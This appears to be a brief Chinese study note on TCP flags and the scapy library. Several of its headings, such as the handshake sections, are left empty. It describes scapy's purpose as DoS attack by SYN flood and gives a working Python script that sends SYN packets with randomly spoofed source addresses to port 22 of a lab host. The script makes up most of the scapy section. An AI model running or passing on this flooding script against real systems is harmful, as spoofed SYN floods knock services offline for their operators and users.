TCP协议概念/scapy模块:
1,TCP/IP四层协议:
2,TCP数据包的构成:
- TCP FLAGS:TCP数据包标志位
- U:URG,紧急比特
- A:ACK,确认比特
- P:PSH,推送比特
- S:SYN,同步比特:这个是一个连接请求的数据包,代表着我要主动连接对方
- F:FIN,终止比特:当我要和对方断开连接
- R:RST,复位比特:代表重新建立连接
3,tcp三次握手:
4,四次挥手:
5,scapy模块
- 作用是用来doos攻击,SYN泛洪
scapy模块
构建TCP数据包
- 安装scapy
- pip3 install scapy
from random import randint from scapy.all import * for var in range(20): random_ip = '%s.%s.%s.%s' % (randint(1,255),randint(1,255),randint(1,255),randint(1,255)) random_port = 23333 data = IP(dst='192.168.137.130',src=random_ip) / TCP(dport=22,sport=random_port,flags='S') #SYN TCP数据包 send(data) #发送运行结果: